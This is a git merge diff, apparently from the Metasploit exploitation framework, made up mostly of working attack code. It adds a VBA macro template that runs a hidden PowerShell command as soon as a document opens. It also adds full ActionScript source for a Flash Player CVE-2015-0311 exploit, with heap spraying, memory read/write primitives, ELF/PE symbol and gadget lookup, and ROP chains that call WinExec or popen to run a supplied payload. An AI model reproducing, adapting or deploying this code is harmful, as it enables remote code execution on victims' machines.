Merge branch 'master' into land-5394-uuid-tracker
commit
7b0006a1b2
|
@ -22,7 +22,7 @@ before_script:
|
|||
- bundle exec rake db:migrate
|
||||
script:
|
||||
# fail build if db/schema.rb update is not committed
|
||||
- git diff --exit-code && bundle exec rake $RAKE_TASKS
|
||||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '2.1.6'
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,12 @@
|
|||
Sub %{sub_auto_open}()
|
||||
Dim %{var_powershell}
|
||||
%{var_powershell} = %{powershell}
|
||||
Call Shell(%{var_powershell}, vbHide)
|
||||
End Sub
|
||||
Sub AutoOpen()
|
||||
%{sub_auto_open}
|
||||
End Sub
|
||||
Sub Workbook_Open()
|
||||
%{sub_auto_open}
|
||||
End Sub
|
||||
|
|
@ -27,7 +27,10 @@ package
|
|||
public function Main()
|
||||
{
|
||||
var b64:Base64Decoder = new Base64Decoder()
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
var payload:String = b64.toByteArray().toString()
|
||||
|
||||
for (i = 0; i < bv.length; i++) {
|
||||
|
|
|
@ -32,9 +32,11 @@ package
|
|||
var i:uint = 0
|
||||
var j:uint = 0
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
for (i = 0; i < defrag.length; i++) {
|
||||
defrag[i] = new ByteArray()
|
||||
defrag[i].length = BYTE_ARRAY_SIZE
|
||||
|
|
|
@ -42,8 +42,11 @@ package
|
|||
this.object_vector_length = 5770 * 2
|
||||
this.byte_array_vector_length = 510 * 2
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
this.initialize_worker_and_ba()
|
||||
if (!this.trigger())
|
||||
|
|
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,84 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Exploit.as
|
||||
|
||||
// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.LoaderInfo
|
||||
import flash.system.ApplicationDomain
|
||||
import flash.utils.ByteArray
|
||||
import avm2.intrinsics.memory.*
|
||||
import flash.external.ExternalInterface
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var exploiter:Exploiter
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:String
|
||||
private var platform:String
|
||||
private var massage:Vector.<Object> = new Vector.<Object>(10000)
|
||||
|
||||
public function Exploit()
|
||||
{
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
for (var i:uint = 0; i < massage.length / 2; i++) {
|
||||
massage[i] = new Vector.<uint>(0x3e0)
|
||||
}
|
||||
|
||||
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
|
||||
for (i = massage.length / 2; i < massage.length; i++) {
|
||||
massage[i] = new Vector.<uint>(0x3e0)
|
||||
}
|
||||
|
||||
var test:uint = li32(0)
|
||||
if (test == 0x3e0) {
|
||||
si32(0xffffffff, 0) // corrupted
|
||||
} else {
|
||||
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
|
||||
return // something failed
|
||||
}
|
||||
|
||||
|
||||
for (i = 0; i < massage.length; i++) {
|
||||
if (massage[i].length == 0x3e0) {
|
||||
massage[i] = null
|
||||
} else {
|
||||
Logger.log('[*] Exploit - corrupted vector found at ' + i)
|
||||
uv = massage[i]
|
||||
uv[0] = 0
|
||||
}
|
||||
}
|
||||
|
||||
if (uv.length != 0xffffffff)
|
||||
return
|
||||
|
||||
exploiter = new Exploiter(this, platform, payload, uv)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
Logger.log("[*] ExploitByteArray - lets_ready()")
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint = 0x3e0
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>)
|
||||
{
|
||||
uv = v
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,251 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:String
|
||||
private var platform:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(80000)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
|
||||
ev = new ExploitVector(uv)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux")
|
||||
do_rop_linux()
|
||||
else if (platform == "win")
|
||||
do_rop_windows()
|
||||
else
|
||||
return
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = pe.procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, winexec)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 8, 'r', true) // type
|
||||
eba.write(payload_address + 0xc, payload, true) // command
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
// Return to popen()
|
||||
eba.write(stack_address + 0x18068, popen)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// popen() argument
|
||||
eba.write(0, payload_address + 0xc)
|
||||
eba.write(0, payload_address + 8)
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
package
|
||||
{
|
||||
import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,243 +0,0 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.display.LoaderInfo;
|
||||
import flash.system.ApplicationDomain;
|
||||
import flash.utils.ByteArray;
|
||||
import avm2.intrinsics.memory.casi32;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<Object> = new Vector.<Object>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(51200)
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = "";
|
||||
|
||||
/*public static function log(msg:String):void{
|
||||
var str:String = "";
|
||||
str += msg;
|
||||
|
||||
trace(str);
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}*/
|
||||
|
||||
public function Main()
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
uv[0] = new Vector.<uint>(0x3E0)
|
||||
casi32(0, 0x3e0, 0xffffffff)
|
||||
|
||||
for (i = 0; i < spray.length; i++) {
|
||||
spray[i] = new Vector.<Object>(1014)
|
||||
spray[i][0] = ba
|
||||
spray[i][1] = this
|
||||
}
|
||||
|
||||
/*
|
||||
0:008> dd 5ca4000
|
||||
05ca4000 ffffffff 05042000 05ca4000 00000000
|
||||
05ca4010 00000000 00000000 00000000 00000000
|
||||
05ca4020 00000000 00000000 00000000 00000000
|
||||
